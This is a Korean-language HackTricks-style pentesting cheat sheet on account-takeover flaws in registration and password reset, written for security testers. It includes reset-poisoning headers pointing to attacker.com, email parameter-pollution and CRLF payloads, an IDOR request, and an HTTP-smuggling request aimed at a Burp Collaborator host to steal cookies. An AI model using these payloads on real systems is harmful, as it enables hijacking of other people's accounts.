# 등록 및 인수 취약점 {{#include ../banners/hacktricks-training.md}} ## 등록 인수 ### 중복 등록 - 기존 사용자 이름을 사용하여 생성해 보세요. - 이메일을 다양하게 변경해 보세요: - 대문자 - \+1@ - 이메일에 점 추가 - 이메일 이름에 특수 문자 (%00, %09, %20) - 이메일 뒤에 검은 문자 추가: `test@test.com a` - victim@gmail.com@attacker.com - victim@attacker.com@gmail.com ### 사용자 이름 열거 애플리케이션 내에서 사용자 이름이 이미 등록되었는지 확인해 보세요. ### 비밀번호 정책 사용자를 생성할 때 비밀번호 정책을 확인하세요 (약한 비밀번호를 사용할 수 있는지 확인).\ 이 경우 자격 증명을 무차별 대입해 볼 수 있습니다. ### SQL 인젝션 [**이 페이지를 확인하세요** ](sql-injection/index.html#insert-statement)계정 인수를 시도하거나 **SQL 인젝션**을 통해 정보를 추출하는 방법을 배우세요. ### Oauth 인수 {{#ref}} oauth-to-account-takeover.md {{#endref}} ### SAML 취약점 {{#ref}} saml-attacks/ {{#endref}} ### 이메일 변경 등록 후 이메일을 변경해 보고 이 변경이 올바르게 검증되는지 또는 임의의 이메일로 변경할 수 있는지 확인하세요. ### 추가 확인 사항 - **일회용 이메일** 사용 여부 확인 - **긴** **비밀번호** (>200)는 **DoS**로 이어짐 - **계정 생성에 대한 비율 제한 확인** - username@**burp_collab**.net을 사용하고 **콜백**을 분석하세요. ## **비밀번호 재설정 인수** ### 참조자를 통한 비밀번호 재설정 토큰 유출 1. 귀하의 이메일 주소로 비밀번호 재설정을 요청하세요. 2. 비밀번호 재설정 링크를 클릭하세요. 3. 비밀번호를 변경하지 마세요. 4. 3자 웹사이트(예: Facebook, Twitter)를 클릭하세요. 5. Burp Suite 프록시에서 요청을 가로채세요. 6. referer 헤더가 비밀번호 재설정 토큰을 유출하는지 확인하세요. ### 비밀번호 재설정 중독 1. Burp Suite에서 비밀번호 재설정 요청을 가로채세요. 2. Burp Suite에서 다음 헤더를 추가하거나 수정하세요: `Host: attacker.com`, `X-Forwarded-Host: attacker.com` 3. 수정된 헤더로 요청을 전달하세요.\ `http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com` 4. _host 헤더_를 기반으로 한 비밀번호 재설정 URL을 찾으세요: `https://attacker.com/reset-password.php?token=TOKEN` ### 이메일 매개변수를 통한 비밀번호 재설정 ```bash # parameter pollution email=victim@mail.com&email=hacker@mail.com # array of emails {"email":["victim@mail.com","hacker@mail.com"]} # carbon copy email=victim@mail.com%0A%0Dcc:hacker@mail.com email=victim@mail.com%0A%0Dbcc:hacker@mail.com # separator email=victim@mail.com,hacker@mail.com email=victim@mail.com%20hacker@mail.com email=victim@mail.com|hacker@mail.com ``` ### IDOR on API Parameters 1. 공격자는 자신의 계정으로 로그인하고 **비밀번호 변경** 기능으로 이동해야 합니다. 2. Burp Suite를 시작하고 요청을 가로챕니다. 3. 반복기 탭으로 보내고 매개변수를 편집합니다: 사용자 ID/이메일\ `powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})` ### Weak Password Reset Token 비밀번호 재설정 토큰은 매번 무작위로 생성되고 고유해야 합니다.\ 토큰이 만료되는지 또는 항상 동일한지 확인하십시오. 경우에 따라 생성 알고리즘이 약하고 추측할 수 있습니다. 알고리즘에서 사용될 수 있는 변수는 다음과 같습니다. - 타임스탬프 - 사용자 ID - 사용자 이메일 - 이름 및 성 - 생년월일 - 암호화 - 숫자만 - 작은 토큰 시퀀스 (문자 \[A-Z,a-z,0-9] 사이) - 토큰 재사용 - 토큰 만료 날짜 ### Leaking Password Reset Token 1. 특정 이메일을 사용하여 API/UI를 통해 비밀번호 재설정 요청을 트리거합니다. 예: test@mail.com 2. 서버 응답을 검사하고 `resetToken`을 확인합니다. 3. 그런 다음 URL에서 토큰을 사용합니다. 예: `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]` ### Password Reset Via Username Collision 1. 피해자의 사용자 이름과 동일한 사용자 이름으로 시스템에 등록하되, 사용자 이름 앞뒤에 공백을 삽입합니다. 예: `"admin "` 2. 악의적인 사용자 이름으로 비밀번호 재설정을 요청합니다. 3. 이메일로 전송된 토큰을 사용하여 피해자의 비밀번호를 재설정합니다. 4. 새 비밀번호로 피해자 계정에 연결합니다. 플랫폼 CTFd는 이 공격에 취약했습니다.\ 참조: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) ### Account Takeover Via Cross Site Scripting 1. 애플리케이션 또는 서브도메인 내에서 XSS를 찾습니다. 쿠키가 상위 도메인에 범위가 지정된 경우: `*.domain.com` 2. 현재 **세션 쿠키**를 유출합니다. 3. 쿠키를 사용하여 사용자로 인증합니다. ### Account Takeover Via HTTP Request Smuggling 1\. **smuggler**를 사용하여 HTTP 요청 밀수의 유형 (CL, TE, CL.TE)을 감지합니다.\ `powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\ 2\. 다음 데이터를 사용하여 `POST / HTTP/1.1`를 덮어쓸 요청을 작성합니다:\ `GET http://something.burpcollaborator.net HTTP/1.1 X:` 피해자를 burpcollab로 리디렉션하고 쿠키를 훔치는 것이 목표입니다.\ 3\. 최종 요청은 다음과 같을 수 있습니다. ``` GET / HTTP/1.1 Transfer-Encoding: chunked Host: something.com User-Agent: Smuggler/v1.0 Content-Length: 83 0 GET http://something.burpcollaborator.net HTTP/1.1 X: X ``` Hackerone 보고서에서 이 버그를 악용한 사례\ \* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\ \* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666) ### CSRF를 통한 계정 탈취 1. CSRF를 위한 페이로드 생성, 예: “비밀번호 변경을 위한 자동 제출 HTML 양식” 2. 페이로드 전송 ### JWT를 통한 계정 탈취 JSON Web Token은 사용자를 인증하는 데 사용될 수 있습니다. - 다른 사용자 ID / 이메일로 JWT 수정 - 약한 JWT 서명 확인 {{#ref}} hacking-jwt-json-web-tokens.md {{#endref}} ## 참고 문헌 - [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover) {{#include ../banners/hacktricks-training.md}}